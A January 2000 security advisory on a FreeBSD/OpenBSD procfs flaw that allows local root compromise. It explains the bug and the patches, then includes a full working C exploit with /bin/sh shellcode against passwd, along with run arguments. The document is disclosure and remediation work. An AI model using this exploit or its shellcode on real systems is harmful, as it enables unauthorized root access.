Date: Fri, 21 Jan 2000 22:10:06 +0200
From: FEAR Advisories <fear-adv@FEAR.COM.PL.>
To: [email protected]Subject: *BSD procfs vulnerability
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Fast Emergency AVET Response
SECURITY ADVISORY
January 2000
FEAR ID: 1
*BSD procfs vulnerability
PROBLEM DESCRIPTION
In January 1997 a fatal flaw in *BSD procfs code (leading to a local root
compromise) was discussed on various security forums. The exploit code
dealt with /proc/pid/mem interface. Since then *BSD kernels contained a
simple fix which was meant to close this hole.
Unfortunately, throughout these three years it was still possible to
abuse /proc/pid/mem in a symilar, though more complicated fashion, which
could lead to local root compromise.
VULNERABLE PLATFORMS
The bug is present in kernels used in current (and almost any older)
FreeBSD and OpenBSD distributions. In order to make this flaw exploitable,
procfs filesystem must be mounted. In default FreeBSD 3.3 installation,
procfs IS mounted; in default OpenBSD 2.6 installation, it is NOT. Note that
administrators often mount procfs filesystem for its benefits.
TECHNICAL DETAILS
The procfs exploit code from 1997 was straightforward. An unpriviledged
process A forks off a process B. A opens /proc/pid-of-B/mem. B execs a
setuid binary. Though now B has a different euid than A, A is still able to
control B's memory via /proc/pid-of-B/mem descriptor. Therefore A can change
B's flow of execution in an arbitrary way.
In order to stop this exploit, an additional check was added to the code
responsible for I/O on file descriptors referring to procfs pseudofiles. In
miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
/*
* Check to see whether access to target process is allowed
* Evaluates to 1 if access is allowed.
*/
#define CHECKIO(p1, p2) \
((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
((p2)->p_flag & P_SUGID) == 0) || \
(suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
As we see, process performing I/O (p1) must have the same uids as target
process (p2), unless... p1 has root priviledges. So, if we can trick a
setuid program X into writing to a file descriptor F referring to a procfs
object, the above check will not prevent X from writing. As some of readers
certainly already have guessed, F's number will be 2, stderr fileno... We
can pass to a setuid program an appropriately lseeked file descriptor no 2
(pointing to some /proc/pid/mem), and this program will blindly write there
error messages. Such output is often partially controllable (e.g. contains
program's name), so we can write almost arbitrary data onto other setuid
program's memory.
This scenario looks similar to
' close(fileno(stderr)); execl("setuid-program",...) '
exploits, but in fact differs profoundly. It exploits the fact that the
properties of a fd pointing into procfs is not determined fully by "open"
syscall (all other fd are; skipping issues related to securelevels). These
properties can change because of priviledged code execution. As a result,
(priviledged) children of some process P can inherit a fd opened read-write,
though P can't directly gain such fd via open syscall.
The attached sample exploit (for Intel platform) code runs
/usr/bin/passwd, but almost any setuid program can be used. This code was
tested on FreeBSD 2.8, 3.0 and 3.3 as well as on OpenBSD 2.4, 2.5 and 2.6.
The code overwrites stack with addresses of a shellcode, which is placed in
an environment variable. The code is a bit crude, but there were some obscure
problems with building a working exploit. It requires two arguments: an offset from the current stack
pointer and an offset from default shellcode position.
/procfs_exp -4000 -10000
worked for all tested platforms. Having seen "#" prompt, one should probably
issue "stty sane" command to clean tty state. On OpenBSD, having gained root
prompt one should remove /etc/ptmp file.
SOLUTION
Linux also features proc filesystem with symilar functionality, but it is
not vulnerable to this exploit. That is so because on Linux if a process p1
wishes to alter the memory of process p2 via /proc/pid-of-p2/mem, p2 must be
traced by p1 (moreover, mem_write function is currently defined as NULL, so
/proc/pid/mem can be altered only with use of mmap; irrelevant here). It may
be tempting to impose symilar restriction in *BSD kernels. However, on *BSD
a process p1 can attach p2 for tracing merely by writing to
/proc/pid-of-p2/ctl file; as we have just seen it is possible to force a
setuid program to write arbitrary strings to /proc files.
The solution (by deraadt) is to add a certain check in execve syscall. If
a process X tries to exec a setuid binary, we make sure it holds no open
descriptors pointing into procfs filesystem.
Patches are available on
http://www.openbsd.org/errata.html#procfs
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch
As a workaround, it is enough to umount /proc and comment it out from
/etc/fstab.
CREDITS
The discovery of this vulnerability, as well as the sample exploit, was
done by Rafal Wojtczuk <nergal@avet.com.pl.>;
deraadt for discarding our original idea of the fix because of its
inefficiency and finding a better one;
[email protected] and [email protected] for immediate
response and supplying patches for their systems.
Other FEAR security materials can be found at :
http://www.fear.pl
EXPLOIT CODE
/* by Nergal */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>
char shellcode[] =
"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
#define PASSWD "./passwd"
void
sg(int x)
{
}
int
main(int argc, char **argv)
{
unsigned int stack, shaddr;
int pid,schild;
int fd;
char buff[40];
unsigned int status;
char *ptr;
char name[4096];
char sc[4096];
char signature[] = "signature";
signal(SIGUSR1, sg);
if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
{
perror("creating symlink:");
exit(1);
}
shaddr=(unsigned int)&shaddr;
stack=shaddr-2048;
if (argc>1)
shaddr+=atoi(argv[1]);
if (argc>2)
stack+=atoi(argv[2]);
fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
fprintf(stderr,"Wait for \"Press return\" prompt:\n");
memset(sc, 0x90, sizeof(sc));
strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
strncpy(sc,"EGG=",4);
memset(name,'x',sizeof(name));
for (ptr = name; ptr < name + sizeof(name); ptr += 4)
*(unsigned int *) ptr = shaddr;
name[sizeof(name) - 1] = 0;
pid = fork();
switch (pid) {
case -1:
perror("fork");
exit(1);
case 0:
pid = getppid();
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if (fd < 0) {
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
kill(pid, SIGUSR1);
do {
lseek(fd, (unsigned int) signature, SEEK_SET);
} while
(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
!strncmp(buff, signature, sizeof(signature)));
lseek(fd, stack, SEEK_SET);
switch (schild = fork()) {
case -1:
perror("fork2");
exit(1);
case 0:
dup2(fd, 2);
sleep(2);
execl(PASSWD, name, "blahblah", 0);
printf("execl failed\n");
exit(1);
default:
waitpid(schild, &status, 0);
}
fprintf(stderr, "\nPress return.\n");
exit(1);
default:
/* give parent time to open /proc/pid/mem */
pause();
putenv(sc);
execl(PASSWD, "passwd", NULL);
perror("execl");
exit(0);
}
}
